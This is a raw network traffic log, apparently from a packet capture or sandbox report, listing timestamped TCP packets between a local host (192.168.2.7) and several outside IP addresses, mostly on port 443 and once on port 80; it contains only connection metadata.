Nov 27, 2024 17:58:38.808327913 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.808381081 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:38.808465958 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.825367928 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:38.825393915 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.731097937 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.757816076 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.837798119 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:39.837809086 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.840018988 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:39.840023994 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.840591908 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:39.840617895 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.840991974 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:39.840997934 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:39.980753899 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.092361927 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.191059113 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.191070080 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.195430994 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.195444107 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.196039915 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.196105957 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.196171045 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.196453094 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.196468115 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.196504116 CET	49765	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.196511030 CET	443	49765	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.213999033 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.214050055 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.214157104 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.214514971 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.214514971 CET	49766	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.214534998 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.214543104 CET	443	49766	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.425717115 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.508333921 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.520420074 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.520493031 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.520569086 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.593044996 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.593106985 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.593170881 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.594248056 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.594259977 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.594737053 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.594744921 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.602953911 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.603008986 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.603115082 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.603430033 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.603451967 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.603832960 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.603856087 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.603874922 CET	49767	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.603880882 CET	443	49767	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.640908957 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.640935898 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.681096077 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.782335043 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.782363892 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.783026934 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:40.783032894 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.921989918 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.922070980 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:40.922137022 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.061664104 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.061702013 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.061726093 CET	49768	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.061733007 CET	443	49768	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.134711981 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.134780884 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.134848118 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.218473911 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.218521118 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.218796968 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.330101013 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.330120087 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.330127954 CET	49769	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.330132961 CET	443	49769	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.414210081 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.414247036 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.592454910 CET	80	49755	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:41.592525959 CET	49755	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:41.793344021 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.793405056 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.793808937 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.810322046 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.810367107 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.810774088 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.892491102 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:41.892530918 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:41.892777920 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:41.893086910 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:41.893126965 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:41.893177032 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:41.898478031 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:41.898509979 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:41.899249077 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:41.899275064 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:41.922199011 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.922240973 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:41.984317064 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:41.984335899 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.396023035 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.434149027 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:42.434195995 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.434694052 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:42.434700012 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.488933086 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.598062992 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:42.840415955 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.840604067 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:42.840703011 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.089778900 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.089803934 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.090287924 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.090292931 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.133886099 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.133922100 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.133935928 CET	49771	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.133941889 CET	443	49771	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.134329081 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.202447891 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.301178932 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.301201105 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.301687002 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.301695108 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.429498911 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.430854082 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.430922985 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.450567007 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.450603008 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.450654030 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.450809956 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.450828075 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.450841904 CET	49770	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.450846910 CET	443	49770	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.453346968 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.453366995 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.453469038 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.455724001 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.455739021 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.455908060 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.455921888 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.619012117 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.619076967 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.619149923 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.620174885 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.620204926 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.620224953 CET	49779	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.620230913 CET	443	49779	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.627526999 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.627557039 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.627723932 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.630639076 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.630650043 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.642587900 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.642971992 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.643002987 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.643501997 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:43.643507957 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:43.653539896 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.653984070 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.654011965 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.655072927 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.655114889 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.664792061 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.664870977 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.665514946 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.665524006 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.686189890 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:43.686220884 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:43.686295033 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:43.687484980 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:43.687496901 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:43.693902969 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.695883989 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.695894957 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.697046995 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.697132111 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.697745085 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.697812080 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.800841093 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.800843954 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:43.800867081 CET	443	49783	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:43.996938944 CET	49783	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:44.084839106 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:44.084912062 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:44.084954023 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:44.085561037 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:44.085577965 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:44.085592031 CET	49781	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:44.085598946 CET	443	49781	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:44.087059975 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:44.087094069 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:44.087156057 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:44.087441921 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:44.087455034 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:44.103576899 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:44.103609085 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:44.103674889 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:44.103866100 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:44.103876114 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:44.155864954 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:44.156021118 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:44.156101942 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:44.186579943 CET	49784	443	192.168.2.7	94.245.104.56
Nov 27, 2024 17:58:44.186638117 CET	443	49784	94.245.104.56	192.168.2.7
Nov 27, 2024 17:58:45.243805885 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.244132042 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.291518927 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.291542053 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.293788910 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.293802977 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.300507069 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.321057081 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.321070910 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.321729898 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.321734905 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.393651962 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:45.393682003 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:45.393734932 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:45.394220114 CET	49802	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.394243002 CET	443	49802	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:45.394768000 CET	49802	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.396400928 CET	49801	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:45.396409988 CET	443	49801	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:45.396564960 CET	49802	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.396574020 CET	443	49802	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:45.419436932 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.569264889 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:45.569344997 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:45.607108116 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.688266039 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.688329935 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.690798044 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.690862894 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.690896988 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.691036940 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.878499985 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.886547089 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.886570930 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.887154102 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.887161016 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.890564919 CET	49803	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.890608072 CET	443	49803	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:45.890666008 CET	49803	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.891618967 CET	49804	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.891650915 CET	443	49804	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:45.891829967 CET	49804	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.892515898 CET	49803	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.892534018 CET	443	49803	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:45.893011093 CET	49804	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:45.893019915 CET	443	49804	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:45.896210909 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.896229982 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.896280050 CET	49788	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.896285057 CET	443	49788	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.897173882 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.897192001 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.897213936 CET	49787	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.897219896 CET	443	49787	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.899811029 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.899842978 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.900305033 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.900316000 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.904570103 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.910561085 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.910598993 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.910686970 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.910983086 CET	49806	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.910994053 CET	443	49806	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.942218065 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.942231894 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.943221092 CET	49796	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.943227053 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.995420933 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.995469093 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:45.995532036 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.998636961 CET	49808	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:45.998651981 CET	443	49808	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.005908012 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.005928993 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.006269932 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.008868933 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.008925915 CET	49793	443	192.168.2.7	20.190.147.10
Nov 27, 2024 17:58:46.008949041 CET	443	49793	20.190.147.10	192.168.2.7
Nov 27, 2024 17:58:46.149270058 CET	49810	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.149308920 CET	443	49810	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.149379015 CET	49810	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.149616003 CET	49810	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.149630070 CET	443	49810	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.165261984 CET	49811	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.165328026 CET	443	49811	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.165393114 CET	49811	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.165838003 CET	49811	443	192.168.2.7	162.159.61.3
Nov 27, 2024 17:58:46.165852070 CET	443	49811	162.159.61.3	192.168.2.7
Nov 27, 2024 17:58:46.190306902 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.190782070 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.190792084 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.191272974 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.191294909 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.191344023 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.191353083 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.191365957 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.191382885 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.192063093 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.199160099 CET	49812	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.199196100 CET	443	49812	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.199256897 CET	49812	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.199436903 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.199589014 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.199995041 CET	49812	443	192.168.2.7	172.64.41.3
Nov 27, 2024 17:58:46.200006962 CET	443	49812	172.64.41.3	192.168.2.7
Nov 27, 2024 17:58:46.200488091 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.200499058 CET	443	49795	142.250.181.97	192.168.2.7
Nov 27, 2024 17:58:46.227605104 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.227667093 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.227715015 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.227931976 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.227945089 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.227953911 CET	49791	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.227958918 CET	443	49791	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.231247902 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.231283903 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.231353998 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.231499910 CET	49814	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.231518984 CET	443	49814	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.263887882 CET	49820	443	192.168.2.7	18.161.69.30
Nov 27, 2024 17:58:46.263912916 CET	443	49820	18.161.69.30	192.168.2.7
Nov 27, 2024 17:58:46.263999939 CET	49820	443	192.168.2.7	18.161.69.30
Nov 27, 2024 17:58:46.266475916 CET	49820	443	192.168.2.7	18.161.69.30
Nov 27, 2024 17:58:46.266489983 CET	443	49820	18.161.69.30	192.168.2.7
Nov 27, 2024 17:58:46.301652908 CET	49795	443	192.168.2.7	142.250.181.97
Nov 27, 2024 17:58:46.347719908 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.347800970 CET	443	49782	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.347857952 CET	49782	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:46.349025011 CET	443	49796	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:46.349104881 CET	443	49796	13.107.246.63	192.168.2.7
